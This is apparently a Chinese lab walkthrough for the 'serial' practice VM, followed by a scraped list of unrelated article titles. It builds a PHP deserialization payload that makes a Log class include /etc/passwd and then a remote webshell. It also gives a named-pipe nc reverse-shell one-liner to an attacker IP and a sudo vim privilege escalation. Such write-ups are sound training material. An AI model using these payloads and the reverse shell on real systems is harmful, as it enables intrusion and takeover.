当前位置: 首页 > news >正文

反序列化靶机serial

1.创建虚拟机

2.渗透测试过程

探测主机存活(目标主机IP地址)

使用nmap探测主机存活或者使用Kali里的netdicover进行探测

-PS/-PA/-PU/-PY:这些参数即可以探测主机存活,也可以同时进行端口扫描。(例如:-PS,发送TCP SYN包进行主机探测

访问

首先访问80端口 F12查看源代码,那我们查看cookie

O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
o:代表存储的是对象(object),如果传入的是一个数组,那它会变成字母a。
4:表示对象的名称有4个字符。User表示对象名称,刚好是4个字符。
2:表示有2个值
s:表示字符串,数字表示字符串的长度,s:10:" User name";

使用工具进行扫描,这里扫到一个/backup/目录

打开查看,是一个zip文件,下载查看,是三个源代码文件

通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出

构造payload

<?phpclass Log {private $type_log = "/etc/passwd";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));

抓包

Get shell

生成一个shell 放在www下9.txt

然后构造payload,尝试读取passwd文件,payload如下 新创建一个1.php在本地的www下 然后 把type_log参数后面记得改成自己上传到本地的一句话木马

<?phpclass Log {private $type_log = "/etc/passwd";}class User {private $name = "admin";private $wel;function __construct() {$this->wel = new Log();}
}
$obj = new User();
echo base64_encode(serialize($obj));

 改为本机的www下的

将生成的64编码放到重放器中

 

输入 rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.87.128+7777+>/tmp/f

kali监听成功

查看文件,多返回几次上级目录,找到一个txt文件

查看,得到账号密码

远程连接 成功进入

尝试提权,试试sudo vim,进入到命令模式输入!bash

提权成功

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • ThreadLocal:线程本地变量的作用与应用
  • 8G内存的Mac够用吗 ?苹果电脑内存满了怎么清理?可以有效地管理和优化你的Mac电脑内存,确保设备运行流畅
  • 开源跨平台SQL编辑器:Beekeeper Studio
  • Python中的异常处理除了Try语句,你还会啥?
  • 安装jdk和tomcat
  • KVM+GFS分布式文件系统构建KVM高可用
  • Vue3+TypeScript+printjs 实现标签批量打印功能
  • Spingboot请求tcp 方式
  • 写一个图片裁剪的js,JavaScript图片裁剪插件PlusCropper
  • 【数值计算方法】数值积分微分-python实现-p2
  • volatile 关键字的两层语义
  • jEasyUI 扩展编辑器
  • 读零信任网络:在不可信网络中构建安全系统06授权
  • springboot的表现层/控制层controller开发
  • 设计模式的类别
  • 【划重点】MySQL技术内幕:InnoDB存储引擎
  • ES学习笔记(10)--ES6中的函数和数组补漏
  • express + mock 让前后台并行开发
  • iOS 系统授权开发
  • java取消线程实例
  • JS+CSS实现数字滚动
  • Laravel Telescope:优雅的应用调试工具
  • Next.js之基础概念(二)
  • Redash本地开发环境搭建
  • spring security oauth2 password授权模式
  • Swoft 源码剖析 - 代码自动更新机制
  • Vue UI框架库开发介绍
  • 动手做个聊天室,前端工程师百无聊赖的人生
  • 短视频宝贝=慢?阿里巴巴工程师这样秒开短视频
  • 聚类分析——Kmeans
  • 跨域
  • 你不可错过的前端面试题(一)
  • 前端每日实战 2018 年 7 月份项目汇总(共 29 个项目)
  • 小程序滚动组件,左边导航栏与右边内容联动效果实现
  • 学习笔记TF060:图像语音结合,看图说话
  • 用Visual Studio开发以太坊智能合约
  • 在 Chrome DevTools 中调试 JavaScript 入门
  • AI又要和人类“对打”,Deepmind宣布《星战Ⅱ》即将开始 ...
  • Java数据解析之JSON
  • Play Store发现SimBad恶意软件,1.5亿Android用户成受害者 ...
  • ​DB-Engines 11月数据库排名:PostgreSQL坐稳同期涨幅榜冠军宝座
  • #{} 和 ${}区别
  • #微信小程序:微信小程序常见的配置传值
  • $(selector).each()和$.each()的区别
  • (2)STL算法之元素计数
  • (9)YOLO-Pose:使用对象关键点相似性损失增强多人姿态估计的增强版YOLO
  • (k8s)Kubernetes本地存储接入
  • (差分)胡桃爱原石
  • (附源码)springboot教学评价 毕业设计 641310
  • (附源码)计算机毕业设计SSM智慧停车系统
  • (机器学习-深度学习快速入门)第一章第一节:Python环境和数据分析
  • (中等) HDU 4370 0 or 1,建模+Dijkstra。
  • (转)IIS6 ASP 0251超过响应缓冲区限制错误的解决方法
  • * 论文笔记 【Wide Deep Learning for Recommender Systems】
  • .a文件和.so文件